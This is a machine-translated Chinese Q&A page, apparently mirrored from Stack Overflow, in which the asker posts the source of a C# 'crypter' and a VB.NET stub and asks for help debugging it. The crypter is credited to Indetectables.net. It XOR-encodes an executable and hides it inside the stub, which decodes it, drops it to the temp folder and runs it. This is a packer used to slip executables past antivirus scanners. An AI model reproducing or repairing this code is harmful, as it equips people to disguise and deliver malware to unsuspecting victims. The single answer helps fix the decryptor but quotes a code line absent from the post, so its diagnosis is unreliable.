内存分配错误,无法加载命令,系统暂停

时间:2017-06-11 12:41:15

标签: c# vb.net

我正在尝试做一个加密的小程序,并在解密我的文件后。但是当我解密我的文件时,向我显示相同的错误,记忆分配错误。问题,我认为这是当我转换为字符串我的文件但不确定。 Fichero 加密文件:

using System;
using System.Text;
using System.IO;
using System.Linq;
using System.Windows.Forms;
namespace Crypter
{
    class Program
    {
        [STAThread]
        static void Main(string[] args)
        {
            OpenFileDialog FileDlg = new OpenFileDialog();
            FileDlg.Filter = "(*.exe)|*.exe";
            FileDlg.Title = "SimplisimoCrypter by Blau [Indetectables.net]";
            FileDlg.Multiselect = false;

            if (FileDlg.ShowDialog() == DialogResult.OK)
            {
            string InputFile = FileDlg.FileName;
                if (!File.Exists(InputFile))
                {
                    MessageBox.Show("File does not exists.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    return;
                }   
            //No Arguments -> Exit
            /*if (args.Length < 2)
            {
                Console.WriteLine("Syntax: crypter.exe <Exe/Dll to get Encrypted> <Password> (Optional: output file name)");
                Environment.Exit(0);
            }*/

            //String file = args[0];
            String file = InputFile;
            //String pass = args[1];
            String pass = "1234";
            String outFile = "Crypted.exe";

            //If Output Name is specified -> Set it
            if (args.Length == 3)
            {
                outFile = args[2];
            }

            //File doesn't exist -> Exit
            if (!File.Exists(file))
            {
                Console.WriteLine("[!] The selected File doesn't exist!");
                Environment.Exit(0);
            }

            //Everything seems fine -> Reading bytes
            Console.WriteLine("[*] Reading Data...");
            byte[] plainBytes = File.ReadAllBytes(file);

            //Yep, got bytes -> Encoding
            Console.WriteLine("[*] Encoding Data...");
            byte[] encodedBytes = encodeBytes(plainBytes, pass);
            //byte[] encodedBytes = plainBytes;

            Console.WriteLine("[*] Save to Output File... ");

            //Leer el stub
            Console.WriteLine("[*] Reading Stub...");
            byte[] Stub = File.ReadAllBytes("Stub.exe");

            //byte separador
            string strseperate = "BLAUMOLAMUCHO";
            byte[] toBytes = Encoding.ASCII.GetBytes(strseperate);

            var s = new MemoryStream();
            s.Write(Stub, 0, Stub.Length);
            s.Write(toBytes, 0, toBytes.Length);
            s.Write(encodedBytes, 0, encodedBytes.Length);
            var b3 = s.ToArray();
            Stream stream = new MemoryStream(b3);

            FileStream fileStream = new FileStream(@"Crypted.exe", FileMode.Create, FileAccess.Write);
            for (int i = 0; i < stream.Length; i++)
                fileStream.WriteByte((byte)stream.ReadByte());

            Console.WriteLine("Done!");

            Console.WriteLine("\n[*] File successfully encoded!");
            }
        }
        private static byte[] encodeBytes(byte[] bytes, String pass)
        {
            byte[] XorBytes = Encoding.Unicode.GetBytes(pass);

            for (int i = 0; i < bytes.Length; i++)
            {
                bytes[i] ^= XorBytes[i % XorBytes.Length];
            }

            return bytes;
        }
    }
}

解密文件:

Imports System.Security.Cryptography
Imports System.IO
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.Reflection.Assembly

Module Program
    Public Sub Main()
        Dim s As String = GetExecutingAssembly.GetCallingAssembly.Location
        Dim myBytes As Byte() = My.Computer.FileSystem.ReadAllBytes(s)
        Dim myStrings As String = Encoding.Default.GetString(myBytes)
        Dim mySplits As String() = Split(myStrings, "BLAUMOLAMUCHO")
        Dim originalContents As String = mySplits(1)

        Dim original As Byte() = Encoding.Default.GetBytes(originalContents)
        Dim Blau As String  = XORR(original,"1234")
        My.Computer.FileSystem.WriteAllBytes(System.IO.Path.GetTempPath & "temp1928.exe", Encoding.Default.GetBytes(Blau), False)
        Process.Start(System.IO.Path.GetTempPath & "temp1928.exe")
        Console.WriteLine(s)

        Console.ReadKey()
    End Sub

    'Funcion para deshacer el método XOR
    Private Function XORR(bytes As Byte(), pass As String)
        Dim XorBytes As Byte() = Encoding.Unicode.GetBytes(pass)

        For i = 0  to bytes.length step 1
            bytes(i) = bytes(i) Xor XorBytes(i Mod XorBytes.Length)
        Next

        Return bytes
    End Function



End Module

问题在于解密者。当我运行它时,控制台显示错误。

1 个答案:

答案 0 :(得分:1)

问题在于XORR。这条线错了。

strDataOut = strDataOut + Chr(intXOrValue1 Xor intXOrValue2)。

这与encodeBytes()的作用不同,不是长镜头。

由于您的加密算法是对称的,我建议您将encodeBytes()复制到您的解密程序,并使用它来解密程序。